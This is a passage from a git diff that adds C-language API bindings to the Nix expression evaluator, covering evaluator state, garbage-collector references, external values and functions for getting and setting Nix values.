evaluation of a Nix value. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in,out] value The Nix value to force. + * @return NIX_OK if the deep force operation was successful, an error code + * otherwise. + */ +nix_err nix_value_force_deep(nix_c_context *context, State *state, + Value *value); + +/** + * @brief Creates a new Nix state. + * + * @param[out] context Optional, stores error information + * @param[in] searchPath The NIX_PATH. + * @param[in] store The Nix store to use. + * @return A new Nix state or NULL on failure. + */ +State *nix_state_create(nix_c_context *context, const char **searchPath, + Store *store); + +/** + * @brief Frees a Nix state. + * + * Does not fail. + * + * @param[in] state The state to free. + */ +void nix_state_free(State *state); + +/** + * @brief Creates a new garbage collector reference. + * + * @param[out] context Optional, stores error information + * @param[in] obj The object to create a reference for. + * @return A new garbage collector reference or NULL on failure. + */ +GCRef *nix_gc_ref(nix_c_context *context, void *obj); + +/** + * @brief Frees a garbage collector reference. + * + * Does not fail. + * + * @param[in] ref The reference to free. + */ +void nix_gc_free(GCRef *ref); + +/** + * @brief Register a callback that gets called when the object is garbage + * collected. + * @note objects can only have a single finalizer. This function overwrites + * silently. + * @param[in] obj the object to watch + * @param[in] cd the data to pass to the finalizer + * @param[in] finalizer the callback function, called with obj and cd + */ +void nix_gc_register_finalizer(void *obj, void *cd, + void (*finalizer)(void *obj, void *cd)); + +// cffi end +#ifdef __cplusplus +} +#endif + +#endif // NIX_API_EXPR_H diff --git a/src/libexpr/nix_api_expr_internal.h b/src/libexpr/nix_api_expr_internal.h new file mode 100644 index 000000000..424ca2874 --- /dev/null +++ b/src/libexpr/nix_api_expr_internal.h @@ -0,0 +1,17 @@ +#ifndef NIX_API_EXPR_INTERNAL_H +#define NIX_API_EXPR_INTERNAL_H + +// forward declaration +namespace nix { +class EvalState; +}; + +struct State { + nix::EvalState state; +}; + +struct GCRef { + void *ptr; +}; + +#endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/nix_api_external.cc new file mode 100644 index 000000000..971a175fb --- /dev/null +++ b/src/libexpr/nix_api_external.cc @@ -0,0 +1,198 @@ +#include "attr-set.hh" +#include "config.hh" +#include "eval.hh" +#include "gc/gc.h" +#include "globals.hh" +#include "value.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_external.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_value.h" +#include "value/context.hh" + +#include + +#ifdef HAVE_BOEHMGC +#define GC_INCLUDE_NEW 1 +#include "gc_cpp.h" +#endif + +struct nix_returned_string { + std::string str; +}; + +struct nix_printer { + std::ostream &s; +}; + +struct nix_string_context { + nix::NixStringContext &ctx; +}; + +nix_returned_string *nix_external_alloc_string(const char *c) { + return new nix_returned_string{c}; +} +void nix_external_dealloc_string(nix_returned_string *str) { delete str; } + +nix_err nix_external_print(nix_c_context *context, nix_printer *printer, + const char *c) { + if (context) + context->last_err_code = NIX_OK; + try { + printer->s << c; + } + NIXC_CATCH_ERRS +} + +nix_err nix_external_add_string_context(nix_c_context *context, + nix_string_context *ctx, + const char *c) { + if (context) + context->last_err_code = NIX_OK; + try { + auto r = nix::NixStringContextElem::parse(c); + ctx->ctx.insert(r); + } + NIXC_CATCH_ERRS +} + +class NixCExternalValue : public nix::ExternalValueBase { + NixCExternalValueDesc &desc; + void *v; + +public: + NixCExternalValue(NixCExternalValueDesc &desc, void *v) : desc(desc), v(v){}; + void *get_ptr() { return v; } + /** + * Print out the value + */ + virtual std::ostream &print(std::ostream &str) const override { + nix_printer p{str}; + desc.print(v, &p); + return str; + } + + /** + * Return a simple string describing the type + */ + virtual std::string showType() const override { + std::unique_ptr r(desc.showType(v)); + return std::move(r->str); + } + + /** + * Return a string to be used in builtins.typeOf + */ + virtual std::string typeOf() const override { + std::unique_ptr r(desc.typeOf(v)); + return std::move(r->str); + } + + /** + * Coerce the value to a string. + */ + virtual std::string coerceToString(const nix::Pos &pos, + nix::NixStringContext &context, + bool copyMore, + bool copyToStore) const override { + if (!desc.coerceToString) { + return nix::ExternalValueBase::coerceToString(pos, context, copyMore, + copyToStore); + } + nix_string_context ctx{context}; + // todo: pos, errors + std::unique_ptr r( + desc.coerceToString(v, &ctx, copyMore, copyToStore)); + if (!r) { + return nix::ExternalValueBase::coerceToString(pos, context, copyMore, + copyToStore); + } + return std::move(r->str); + } + + /** + * Compare to another value of the same type. + */ + virtual bool operator==(const ExternalValueBase &b) const override { + if (!desc.equal) { + return false; + } + auto r = dynamic_cast(&b); + if (!r) + return false; + return desc.equal(v, r->v); + } + + /** + * Print the value as JSON. + */ + virtual nlohmann::json + printValueAsJSON(nix::EvalState &state, bool strict, + nix::NixStringContext &context, + bool copyToStore = true) const override { + if (!desc.printValueAsJSON) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, + copyToStore); + } + nix_string_context ctx{context}; + std::unique_ptr r( + desc.printValueAsJSON((State *)&state, strict, &ctx, copyToStore)); + if (!r) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, + copyToStore); + } + return nlohmann::json::parse(r->str); + } + + /** + * Print the value as XML. + */ + virtual void printValueAsXML(nix::EvalState &state, bool strict, + bool location, nix::XMLWriter &doc, + nix::NixStringContext &context, + nix::PathSet &drvsSeen, + const nix::PosIdx pos) const override { + if (!desc.printValueAsXML) { + return nix::ExternalValueBase::printValueAsXML( + state, strict, location, doc, context, drvsSeen, pos); + } + nix_string_context ctx{context}; + desc.printValueAsXML((State *)&state, strict, location, &doc, &ctx, + &drvsSeen, *reinterpret_cast(&pos)); + } + + virtual ~NixCExternalValue() override{}; +}; + +ExternalValue *nix_create_external_value(nix_c_context *context, + NixCExternalValueDesc *desc, void *v, + GCRef *gc) { + if (context) + context->last_err_code = NIX_OK; + try { + auto ret = new +#ifdef HAVE_BOEHMGC + (GC) +#endif + NixCExternalValue(*desc, v); + if (gc) + gc->ptr = ret; + return (ExternalValue *)ret; + } + NIXC_CATCH_ERRS_NULL +} + +void *nix_get_external_value_content(nix_c_context *context, ExternalValue *b) { + if (context) + context->last_err_code = NIX_OK; + try { + auto r = dynamic_cast((nix::ExternalValueBase *)b); + if (r) + return r->get_ptr(); + return nullptr; + } + NIXC_CATCH_ERRS_NULL +} diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/nix_api_external.h new file mode 100644 index 000000000..2bb53e349 --- /dev/null +++ b/src/libexpr/nix_api_external.h @@ -0,0 +1,195 @@ +#ifndef NIX_API_EXTERNAL_H +#define NIX_API_EXTERNAL_H +/** @file + * @brief libexpr C bindings dealing with external values + */ + +#include "nix_api_expr.h" +#include "nix_api_util.h" +#include "nix_api_value.h" +#include "stdbool.h" +#include "stddef.h" +#include "stdint.h" + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** + * @brief Represents a string meant for consumption by nix. + */ +typedef struct nix_returned_string nix_returned_string; +/** + * @brief Wraps a stream that can output multiple string pieces. + */ +typedef struct nix_printer nix_printer; +/** + * @brief A list of string context items + */ +typedef struct nix_string_context nix_string_context; + +/** + * @brief Allocate a nix_returned_string from a const char*. + * + * Copies the passed string. + * @param[in] c The string to copy + * @returns A nix_returned_string* + */ +nix_returned_string *nix_external_alloc_string(const char *c); + +/** + * @brief Deallocate a nix_returned_string + * + * There's generally no need to call this, since + * returning the string will pass ownership to nix, + * but you can use it in case of errors. + * @param[in] str The string to deallocate + */ +void nix_external_dealloc_string(nix_returned_string *str); + +/** + * Print to the nix_printer + * + * @param[out] context Optional, stores error information + * @param printer The nix_printer to print to + * @param[in] str The string to print + * @returns NIX_OK if everything worked + */ +nix_err nix_external_print(nix_c_context *context, nix_printer *printer, + const char *str); + +/** + * Add string context to the nix_string_context object + * @param[out] context Optional, stores error information + * @param[out] string_context The nix_string_context to add to + * @param[in] c The context string to add + * @returns NIX_OK if everything worked + */ +nix_err nix_external_add_string_context(nix_c_context *context, + nix_string_context *string_context, + const char *c); + +/** + * @brief Definition for a class of external values + * + * Create and implement one of these, then pass it to nix_create_external_value + * Make sure to keep it alive while the external value lives. + * + * Optional functions can be set to NULL + * + * @see nix_create_external_value + */ +typedef struct NixCExternalValueDesc { + /** + * @brief Called when printing the external value + * + * @param[in] self the void* passed to nix_create_external_value + * @param[out] printer The printer to print to, pass to nix_external_print + */ + void (*print)(void *self, nix_printer *printer); + /** + * @brief Called on :t + * @param[in] self the void* passed to nix_create_external_value + * @returns a nix_returned_string, ownership passed to nix + */ + nix_returned_string *(*showType)(void *self); // std::string + /** + * @brief Called on `builtins.typeOf` + * @param self the void* passed to nix_create_external_value + * @returns a nix_returned_string, ownership passed to nix + */ + nix_returned_string *(*typeOf)(void *self); // std::string + /** + * @brief Called on "${str}" and builtins.toString. + * + * The latter with coerceMore=true + * Optional, the default is to throw an error. + * @param[in] self the void* passed to nix_create_external_value + * @param[out] c writable string context for the resulting string + * @param[in] coerceMore boolean, try to coerce to strings in more cases + * instead of throwing an error + * @param[in] copyToStore boolean, whether to copy referenced paths to store + * or keep them as-is + * @returns a nix_returned_string, ownership passed to nix. Optional, + * returning NULL will make the conversion throw an error. + */ + nix_returned_string *(*coerceToString)(void *self, nix_string_context *c, + int coerceMore, int copyToStore); + /** + * @brief Try to compare two external values + * + * Optional, the default is always false. + * If the other object was not a Nix C external value, this comparison will + * also return false + * @param[in] self the void* passed to nix_create_external_value + * @param[in] other the void* passed to the other object's + * nix_create_external_value + * @returns true if the objects are deemed to be equal + */ + int (*equal)(void *self, void *other); + /** + * @brief Convert the external value to json + * + * Optional, the default is to throw an error + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[out] c writable string context for the resulting string + * @param[in] copyToStore whether to copy referenced paths to store or keep + * them as-is + * @returns string that gets parsed as json. Optional, returning NULL will + * make the conversion throw an error. + */ + nix_returned_string *(*printValueAsJSON)(State *, int strict, + nix_string_context *c, + bool copyToStore); + /** + * @brief Convert the external value to XML + * + * Optional, the default is to throw an error + * @todo The mechanisms for this call are incomplete. There are no C + * bindings to work with XML, pathsets and positions. + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[in] location boolean Whether to include position information in the + * xml + * @param[out] doc XML document to output to + * @param[out] c writable string context for the resulting string + * @param[in,out] drvsSeen a path set to avoid duplicating derivations + * @param[in] pos The position of the call. + */ + void (*printValueAsXML)(State *, int strict, int location, void *doc, + nix_string_context *c, void *drvsSeen, int pos); +} NixCExternalValueDesc; + +/** + * @brief Create an external value, that can be given to nix_set_external + * + * Pass a gcref to keep a reference. + * @param[out] context Optional, stores error information + * @param[in] desc a NixCExternalValueDesc, you should keep this alive as long + * as the ExternalValue lives + * @param[in] v the value to store + * @param[out] ref Optional, will store a reference to the returned value. + * @returns external value, owned by the garbage collector + * @see nix_set_external + */ +ExternalValue *nix_create_external_value(nix_c_context *context, + NixCExternalValueDesc *desc, void *v, + GCRef *ref); + +/** + * @brief Extract the pointer from a nix c external value. + * @param[out] context Optional, stores error information + * @param[in] b The external value + * @returns The pointer, or null if the external value was not from nix c. + * @see nix_get_external + */ +void *nix_get_external_value_content(nix_c_context *context, ExternalValue *b); + +// cffi end +#ifdef __cplusplus +} +#endif + +#endif // NIX_API_EXTERNAL_H diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc new file mode 100644 index 000000000..f58500367 --- /dev/null +++ b/src/libexpr/nix_api_value.cc @@ -0,0 +1,439 @@ +#include "attr-set.hh" +#include "config.hh" +#include "eval.hh" +#include "gc/gc.h" +#include "globals.hh" +#include "value.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_value.h" + +#ifdef HAVE_BOEHMGC +#define GC_INCLUDE_NEW 1 +#include "gc_cpp.h" +#endif + +// Helper function to throw an exception if value is null +static const nix::Value &check_value_not_null(const Value *value) { + if (!value) { + throw std::runtime_error("Value is null"); + } + return *((const nix::Value *)value); +} + +static nix::Value &check_value_not_null(Value *value) { + if (!value) { + throw std::runtime_error("Value is null"); + } + return *((nix::Value *)value); +} + +PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, + const char *name, const char **args, const char *doc, + GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + auto fun2 = (nix::PrimOpFun)fun; + auto p = new +#ifdef HAVE_BOEHMGC + (GC) +#endif + nix::PrimOp{.name = name, .args = {}, .doc = doc, .fun = fun2}; + if (args) + for (size_t i = 0; args[i]; i++) + p->args.emplace_back(*args); + if (ref) + ref->ptr = p; + return (PrimOp *)p; + } + NIXC_CATCH_ERRS_NULL +} + +Value *nix_alloc_value(nix_c_context *context, State *state, GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + Value *res = state->state.allocValue(); + if (ref) + ref->ptr = res; + return res; + } + NIXC_CATCH_ERRS_NULL +} + +ValueType nix_get_type(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + using namespace nix; + switch (v.type()) { + case nThunk: + return NIX_TYPE_THUNK; + case nInt: + return NIX_TYPE_INT; + case nFloat: + return NIX_TYPE_FLOAT; + case nBool: + return NIX_TYPE_BOOL; + case nString: + return NIX_TYPE_STRING; + case nPath: + return NIX_TYPE_PATH; + case nNull: + return NIX_TYPE_NULL; + case nAttrs: + return NIX_TYPE_ATTRS; + case nList: + return NIX_TYPE_LIST; + case nFunction: + return NIX_TYPE_FUNCTION; + case nExternal: + return NIX_TYPE_EXTERNAL; + } + return NIX_TYPE_NULL; + } + NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL); +} + +const char *nix_get_typename(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + auto s = nix::showType(v); + return strdup(s.c_str()); + } + NIXC_CATCH_ERRS_NULL +} + +bool nix_get_bool(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nBool); + return v.boolean; + } + NIXC_CATCH_ERRS_RES(false); +} + +const char *nix_get_string(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nString); + return v.string.s; + } + NIXC_CATCH_ERRS_NULL +} + +const char *nix_get_path_string(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nPath); + return v._path; + } + NIXC_CATCH_ERRS_NULL +} + +unsigned int nix_get_list_size(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nList); + return v.listSize(); + } + NIXC_CATCH_ERRS_RES(0); +} + +unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + return v.attrs->size(); + } + NIXC_CATCH_ERRS_RES(0); +} + +double nix_get_double(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nFloat); + return v.fpoint; + } + NIXC_CATCH_ERRS_RES(NAN); +} + +int64_t nix_get_int(nix_c_context *context, const Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nInt); + return v.integer; + } + NIXC_CATCH_ERRS_RES(0); +} + +ExternalValue *nix_get_external(nix_c_context *context, Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nExternal); + return (ExternalValue *)v.external; + } + NIXC_CATCH_ERRS_NULL; +} + +Value *nix_get_list_byidx(nix_c_context *context, const Value *value, + unsigned int ix, GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nList); + return (Value *)v.listElems()[ix]; + } + NIXC_CATCH_ERRS_NULL +} + +Value *nix_get_attr_byname(nix_c_context *context, const Value *value, + State *state, const char *name, GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs->get(s); + if (attr) { + if (ref) + ref->ptr = attr->value; + return attr->value; + } + nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); + return nullptr; + } + NIXC_CATCH_ERRS_NULL +} + +bool nix_has_attr_byname(nix_c_context *context, const Value *value, + State *state, const char *name) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs->get(s); + if (attr) + return true; + return false; + } + NIXC_CATCH_ERRS_RES(false); +} + +Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, + State *state, unsigned int i, const char **name, + GCRef *ref) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + const nix::Attr &a = (*v.attrs)[i]; + *name = ((const std::string &)(state->state.symbols[a.name])).c_str(); + if (ref) + ref->ptr = a.value; + return a.value; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_set_bool(nix_c_context *context, Value *value, bool b) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkBool(b); + } + NIXC_CATCH_ERRS +} + +// todo string context +nix_err nix_set_string(nix_c_context *context, Value *value, const char *str) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkString(std::string_view(str)); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_path_string(nix_c_context *context, Value *value, + const char *str) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkPath(std::string_view(str)); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_double(nix_c_context *context, Value *value, double d) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkFloat(d); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_int(nix_c_context *context, Value *value, int64_t i) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkInt(i); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_null(nix_c_context *context, Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkNull(); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_external(nix_c_context *context, Value *value, + ExternalValue *val) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + auto r = (nix::ExternalValueBase *)val; + v.mkExternal(r); + } + NIXC_CATCH_ERRS +} + +nix_err nix_make_list(nix_c_context *context, State *s, Value *value, + unsigned int size) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + s->state.mkList(v, size); + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_list_byidx(nix_c_context *context, Value *value, + unsigned int ix, Value *elem) { + if (context) + context->last_err_code = NIX_OK; + try { + // todo: assert that this is a list + auto &v = check_value_not_null(value); + auto &e = check_value_not_null(elem); + v.listElems()[ix] = &e; + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_primop(nix_c_context *context, Value *value, PrimOp *p) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + v.mkPrimOp((nix::PrimOp *)p); + } + NIXC_CATCH_ERRS +} + +nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + auto &s = check_value_not_null(source); + v = s; + } + NIXC_CATCH_ERRS +} + +nix_err nix_set_thunk(nix_c_context *context, State *s, Value *value, + Expr *expr) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + s->state.mkThunk_(v, (nix::Expr *)expr); + } + NIXC_CATCH_ERRS +} + +typedef std::shared_ptr BindingsBuilder_Inner; + +nix_err nix_make_attrs(nix_c_context *context, Value *value, + BindingsBuilder *b) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + nix::BindingsBuilder &builder = **(BindingsBuilder_Inner *)b; + v.mkAttrs(builder); + } + NIXC_CATCH_ERRS +} + +BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, + size_t capacity) { + if (context) + context->last_err_code = NIX_OK; + try { + auto bb = state->state.buildBindings(capacity); + auto res = new BindingsBuilder_Inner(); + *res = std::allocate_shared( + traceable_allocator(), bb); + return res; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_bindings_builder_insert(nix_c_context *context, BindingsBuilder *b, + const char *name, Value *value) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::BindingsBuilder &builder = **(BindingsBuilder_Inner *)b; + auto &v = check_value_not_null(value); + nix::Symbol s = builder.state.symbols.create(name); + builder.insert(s, &v); + } + NIXC_CATCH_ERRS +} + +void nix_bindings_builder_unref(BindingsBuilder *bb) { + delete (BindingsBuilder_Inner *)bb; +} diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h new file mode 100644 index 000000000..5ecedefeb --- /dev/null +++ b/src/libexpr/nix_api_value.h @@ -0,0 +1,355 @@ +#ifndef NIX_API_VALUE_H +#define NIX_API_VALUE_H + +/** @file + * @brief libexpr C bindings dealing with values + */ + +#include "nix_api_util.h" +#include "stdbool.h" +#include "stddef.h" +#include "stdint.h" + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +// Type definitions +typedef enum { + NIX_TYPE_THUNK, + NIX_TYPE_INT, + NIX_TYPE_FLOAT, + NIX_TYPE_BOOL, + NIX_TYPE_STRING, + NIX_TYPE_PATH, + NIX_TYPE_NULL, + NIX_TYPE_ATTRS, + NIX_TYPE_LIST, + NIX_TYPE_FUNCTION, + NIX_TYPE_EXTERNAL +} ValueType; + +// forward declarations +typedef void Value; +typedef void Expr; +typedef struct State State; +typedef struct GCRef GCRef; +// type defs +/** @brief Stores an under-construction set of bindings + * Reference-counted + * @see nix_make_bindings_builder, nix_bindings_builder_unref, nix_make_attrs + * @see nix_bindings_builder_insert + */ +typedef void BindingsBuilder; + +/** @brief PrimOp function + * + * Owned by the GC + * @see nix_alloc_primop, nix_set_primop + */ +typedef struct PrimOp PrimOp; +/** @brief External Value + * + * Owned by the GC + * @see nix_api_external.h + */ +typedef struct ExternalValue ExternalValue; + +/** @brief Function pointer for primops + * @param[in] state Evaluator state + * @param[in] pos position of function call + * @param[in] args list of arguments + * @param[out] v return value + * @see nix_alloc_primop, nix_set_primop + */ +typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); + +/** @brief Allocate a primop + * + * Owned by the GC + * Pass a gcref to keep a reference. + * + * @param[out] context Optional, stores error information + * @param[in] fun callback + * @param[in] arity expected amount of function arguments + * @param[in] name function name + * @param[in] args array of argument names + * @param[in] doc optional, documentation for this primop + * @param[out] ref Optional, will store a reference to the returned value. + * @return primop, or null in case of errors + * @see nix_set_primop + */ +PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, + const char *name, const char **args, const char *doc, + GCRef *ref); + +// Function prototypes + +/** @brief Allocate a Nix value + * + * Owned by the GC + * Pass a gcref to keep a reference. + * @param[out] context Optional, stores error information + * @param[in] state nix evaluator state + * @param[out] ref Optional, will store a reference to the returned value. + * @return value, or null in case of errors + * + */ +Value *nix_alloc_value(nix_c_context *context, State *state, GCRef *ref); +/** @name Getters + */ +/**@{*/ +/** @brief Get value type + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return type of nix value + */ +ValueType nix_get_type(nix_c_context *context, const Value *value); +/** @brief Get type name of value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return type name, owned string + * @todo way to free the result + */ +const char *nix_get_typename(nix_c_context *context, const Value *value); + +/** @brief Get boolean value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return true or false, error info via context + */ +bool nix_get_bool(nix_c_context *context, const Value *value); +/** @brief Get string + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return string + * @return NULL in case of error. + */ +const char *nix_get_string(nix_c_context *context, const Value *value); +/** @brief Get path as string + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return string + * @return NULL in case of error. + */ +const char *nix_get_path_string(nix_c_context *context, const Value *value); +/** @brief Get the length of a list + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return length of list, error info via context + */ +unsigned int nix_get_list_size(nix_c_context *context, const Value *value); +/** @brief Get the element count of an attrset + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return attrset element count, error info via context + */ +unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value); +/** @brief Get float value in 64 bits + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return float contents, error info via context + */ +double nix_get_double(nix_c_context *context, const Value *value); +/** @brief Get int value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return int contents, error info via context + */ +int64_t nix_get_int(nix_c_context *context, const Value *value); +/** @brief Get external reference + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return reference to external, NULL in case of error + */ +ExternalValue *nix_get_external(nix_c_context *context, Value *); + +/** @brief Get the ix'th element of a list + * + * Pass a gcref to keep a reference. + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] ix list element to get + * @param[out] ref Optional, will store a reference to the returned value. + * @return value, NULL in case of errors + */ +Value *nix_get_list_byidx(nix_c_context *context, const Value *value, + unsigned int ix, GCRef *ref); +/** @brief Get an attr by name + * + * Pass a gcref to keep a reference. + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] name attribute name + * @param[out] ref Optional, will store a reference to the returned value. + * @return value, NULL in case of errors + */ +Value *nix_get_attr_byname(nix_c_context *context, const Value *value, + State *state, const char *name, GCRef *ref); + +/** @brief Check if an attribute name exists on a value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] name attribute name + * @return value, NULL in case of errors + */ +bool nix_has_attr_byname(nix_c_context *context, const Value *value, + State *state, const char *name); + +/** @brief Get an attribute by index in the sorted bindings + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] i attribute index + * @param[out] name will store a pointer to the attribute name + * @return value, NULL in case of errors + */ +Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, + State *state, unsigned int i, const char **name, + GCRef *ref); +/**@}*/ +/** @name Setters + */ +/**@{*/ +/** @brief Set boolean value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] b the boolean value + * @return error code, NIX_OK on success. + */ +nix_err nix_set_bool(nix_c_context *context, Value *value, bool b); +/** @brief Set a string + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] str the string, copied + * @return error code, NIX_OK on success. + */ +nix_err nix_set_string(nix_c_context *context, Value *value, const char *str); +/** @brief Set a path + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] str the path string, copied + * @return error code, NIX_OK on success. + */ +nix_err nix_set_path_string(nix_c_context *context, Value *value, + const char *str); +/** @brief Set a double + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] d the double + * @return error code, NIX_OK on success. + */ +nix_err nix_set_double(nix_c_context *context, Value *value, double d); +/** @brief Set an int + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] i the int + * @return error code, NIX_OK on success. + */ +nix_err nix_set_int(nix_c_context *context, Value *value, int64_t i); +/** @brief Set null + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @return error code, NIX_OK on success. + */ +nix_err nix_set_null(nix_c_context *context, Value *value); +/** @brief Set an external value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] val the external value to set. Will be GC-referenced by the value. + * @return error code, NIX_OK on success. + */ +nix_err nix_set_external(nix_c_context *context, Value *value, + ExternalValue *val); +/** @brief Allocate a list + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] size size of list + * @return error code, NIX_OK on success. + */ +nix_err nix_make_list(nix_c_context *context, State *s, Value *value, + unsigned int size); +/** @brief Manipulate a list by index + * + * Don't do this mid-computation. + * @pre your list should be at least 'ix+1' items long + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] ix index to manipulate + * @param[in] elem the value to set, will be gc-referenced by the value + * @return error code, NIX_OK on success. + */ +nix_err nix_set_list_byidx(nix_c_context *context, Value *value, + unsigned int ix, Value *elem); +/** @brief Create an attribute set from a bindings builder + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] b bindings builder to use. Make sure to unref this afterwards. + * @return error code, NIX_OK on success. + */ +nix_err nix_make_attrs(nix_c_context *context, Value *value, + BindingsBuilder *b); +/** @brief Set primop + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] op primop, will be gc-referenced by the value + * @see nix_alloc_primop + * @return error code, NIX_OK on success. + */ +nix_err nix_set_primop(nix_c_context *context, Value *value, PrimOp *op); +/** @brief Copy from another value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] source value to copy from + * @return error code, NIX_OK on success. + */ +nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source); +/** @brief Make a thunk from an expr. + * + * Expr will be evaluated when the value is forced + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] expr the expr to thunk + * @return error code, NIX_OK on success. + */ +nix_err nix_set_thunk(nix_c_context *context, State *s, Value 